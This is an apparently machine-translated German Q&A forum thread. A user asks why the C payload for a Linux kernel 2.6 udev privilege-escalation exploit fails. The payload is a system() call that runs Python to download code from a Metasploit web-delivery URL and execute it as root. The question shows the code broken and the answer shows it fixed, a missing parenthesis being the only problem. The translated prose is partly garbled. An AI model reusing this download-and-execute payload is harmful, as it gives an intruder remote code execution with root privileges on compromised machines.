2016-04-28 24 views
0

Ich habe versucht, einen Berechtigungsausweitungs-Exploit unter Linux auszuführen. Die Datei wird unter/tmp/run als root-Benutzer ausgeführt (Linux kernel 2.6 UDEV exploit). Ich habe beschlossen, meine Payload in C zu machen (für eine zusätzliche Herausforderung). Es muss lediglich einen einzigen Python-Befehl ausführen (generiert von Metasploits Web-Delivery-Modul). Das Problem ist, wenn ich eine URL als Zeichenfolge eingeben, wird der // in http: // den Rest der URL kommentieren.So verhindern Sie, dass die URL auskommentiert wird (C)

Ich weiß nicht so viel C, also habe ich keine Ahnung, wie ich dieses Problem beheben kann. Das mag ein wenig noob-isch erscheinen, aber ich kann wirklich nirgends eine Antwort finden.

Aktuelle Code:

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"" <== // in http:// comments out rest of line 
    return 0; 

} 

Gibt es eine richtige Art und Weise, dies zu beheben?

+0

Flucht beiden Schrägstriche mit einem anderen Backslash (verwendet für Zeichen zu entkommen So Sie http bekommen. //// –

+1

Was denken Sie macht, dass die '' // wird die Zeile auszukommen – duskwuff

+3

Könnte es sein? Syntax Highlighting Ihres Texteditors, der defekt ist? Weil das sollte es nicht kommentieren, wie es in einer Zeichenfolge ist. – Krumelur

Antwort

4

// macht keinen Kommentar innerhalb eines String-Literals. Die Verwendung von // in der Zeichenfolge ist nicht das von Ihnen gepostete Problem. Stattdessen sollten Sie den Funktionsaufruf system mit dem Abschluss ) abschließen.

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\""); 
    return 0; 
} 
+0

Vielen Dank. So dumm wie das macht mich fühlen, danke. –

Verwandte Themen